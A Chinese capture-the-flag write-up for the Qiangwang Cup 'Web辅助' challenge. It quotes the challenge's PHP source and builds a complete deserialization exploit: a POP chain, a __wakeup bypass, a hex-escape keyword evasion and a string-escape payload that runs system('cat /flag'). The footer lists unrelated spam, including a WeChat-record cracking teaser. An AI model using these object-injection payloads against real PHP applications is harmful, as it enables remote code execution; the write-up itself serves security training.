细说强网杯Web辅助

访客4年前黑客文章322

本文首发于“合天智汇”公众号 作者:Ch3ng

这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程

题目源码

index.php

获取我们传入的username和password,并将其序列化储存

...
if (isset($_GET['username']) && isset($_GET['password'])){
    $username=$_GET['username'];
    $password=$_GET['password'];
    $player=new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
    echo sprintf('Welcome %s, your ip is %s
', $username, $_SERVER['REMOTE_ADDR']);
}
else{
    echo "Please input the username or password!
";
}
...

common.php

这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方

<?php
function read($data){
    $data=str_replace('\0*\0', chr(0)."*".chr(0), $data);
    var_dump($data);
    return $data;
}
function write($data){
    $data=str_replace(chr(0)."*".chr(0), '\0*\0', $data);

    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass
");
    }
    else{
        return $data;
    }
}
?>

play.php

在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作

...
@$player=unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...

class.php

这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin=0){
        $this->user=$user;
        $this->pass=$pass;
        $this->admin=$admin;
    }

    public function get_admin(){
        $this->admin=1;
        return $this->admin ;
    }
}

class topsolo{
    protected $name;

    public function __construct($name='Riven'){
        $this->name=$name;
    }

    public function TP(){
        if (gettype($this->name)==="function" or gettype($this->name)==="object"){
            $name=$this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name=$name;
    }

    public function __wakeup(){
        if ($this->name !=='Yasuo'){
            $this->name='Yasuo';
            echo "No Yasuo! No Soul!
";
        }
    }


    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?
";
        }
        else{
            echo "Must Be Yasuo!
";
        }
    }
}

class jungle{
    protected $name="";

    public function __construct($name="Lee Sin"){
        $this->name=$name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

涉及考点

  • POP链的构造
  • __wakeup的绕过
  • 关键字“name”检测绕过
  • 反序列化字符串逃逸

题目出现的魔术 ***

  • __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此 ***
  • __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
  • wakeup:unserialize()会检查是否存在一个 wakeup() *** 。如果存在,则会先调用
  • invoke:当尝试以调用函数的方式调用一个对象时,invoke() *** 会被自动调用
  • __toString():用于一个类被当成字符串时应怎样回应

POP链

POP链:如果我们需要触发的关键代码在一个类的普通 *** 中,例如本题的system('cat /flag')在jungle类中的KS *** 中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来

POP链的构造

这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP *** 中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke *** ,而invoke *** 存在midsolo中,invoke()会触发Gank *** ,执行了stristr操作。

我们的最终目的是要触发jungle类中的KS *** ,从而cat /flag,而触发KS *** 得先触发__toString *** ,一般来说,在我们使用echo输出对象时便会触发,例如:

<?php
class test{
    function __toString(){
        echo "__toString()";
        return "";
    }
}
$a=new test();
echo $a;

//输出:__toString()

在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下:

<?php
class test{
    function __toString(){
        echo "__toString()";
        return "";
    }
}
$a=new test();
stristr($a,'name');

//输出__toString()

所以整个POP链已经构成了

topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')

即:

<?php

class topsolo{
    protected $name;

    public function __construct($name='Riven'){
        $this->name=$name;
    }
}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name=$name;
    }
}

class jungle{
    protected $name="";

}
$a=new topsolo(new midsolo(new jungle()));
$exp=serialize($a);
var_dump(urlencode($exp));
?>

输出:
O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2

O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

O:7:"topsolo":1:{s:7:"\000*\000name";O:7:"midsolo":2:{s:7:"\000*\000name";O:6:"jungle":1:{s:7:"\000*\000name";s:0:"";}}}

关键字“name”检测绕过

···
function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass
");
    }
    else{
        return $data;
    }
}
···

这里使用十六进制绕过\6e\61\6d\65,并将s改为S

O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

字符串逃逸

访问index.php,传入数值,得到序列化内容

O:6:"player":3:{s:7:"\0*\0user";s:0:"";s:7:"\0*\0pass";s:126:"O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:0:"";}}}";s:8:"\0*\0admin";i:0;}

可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来

···
function read($data){
    $data=str_replace('\0*\0', chr(0)."*".chr(0), $data);
    var_dump($data);
    return $data;
}
function write($data){
    $data=str_replace(chr(0)."*".chr(0), '\0*\0', $data);

    return $data;
}
···

在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0

在password中补上被吃掉的pass部分,构造password的提交内容

password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

最后提交

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

然后访问play.php即可得到flag

实验推荐

PHP反序列化漏洞实验

https://sourl.cn/d4dQZL

通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

相关文章

社区电商(社区电商的兴起)

社区电商(社区电商的兴起)

社区电商(社区电商的兴起)自2018年 8 月份起,社区团购不断爆出融资消息。根据媒体披露的信息,已有近 30 亿人民币进入这个领域。围绕着“社区”这块蛋糕,创业邦近期接触了多家企业,但其中,“兴盛优...

破解别人微信聊天记录_先调查后付款 轻松恢复误

我们知道NT以后的系统中有一个这样的服务:Protected Storage。他是用来储存本地密码和网上服务密码的服务,包括填表时的“自动完成”功能以及OUTLOOK对应的账号信息。相应的我们就可以通...

学习c语言用什么软件好(初学C语言入门必读)

这一得话,也是看要求咯,假如你的基本比较好,有较为了解Unix社会学,用Mac OS和Linux用得都还较为随手,而且娴熟应用文本编辑得话,那麼毫无疑问最好是的挑选Vim或是Emacs配搭GCC全是非...

黑客警告美国警局的简单介绍

黑客警告美国警局的简单介绍

2017年置美国于危险之中的那些黑客事件? 西方400万政府雇员资料被窃西方政府于2017年遇到了史上最大的黑客袭击事件,400万的联邦现任雇员和前任雇员的资料被窃取。当时英法联军以“亚罗船事件”为藉...

苏打绿为什么改名魚丁糸 苏打绿改名魚丁糸是真的吗

苏打绿官方微博公布信息称苏打绿将更名为魚丁糸,重新起航,将于月底献唱,这针对粉絲们而言,毫无疑问是一个非常好的信息,那麼,苏打绿为何更名魚丁糸?下边我就而言说。 苏打绿为何更名魚丁糸 据台湾媒体,...

杭州抖音网红商务预约上门

今日的干货知识內容是“杭州网红商务接待模特预约上门服务”。杭州市的网络红人是全国各地最知名的网络红人集中地,有关杭州网红商务接待模特预约上门服务是如何的一个实际操作方式,文中为大伙儿详细信息揭密。...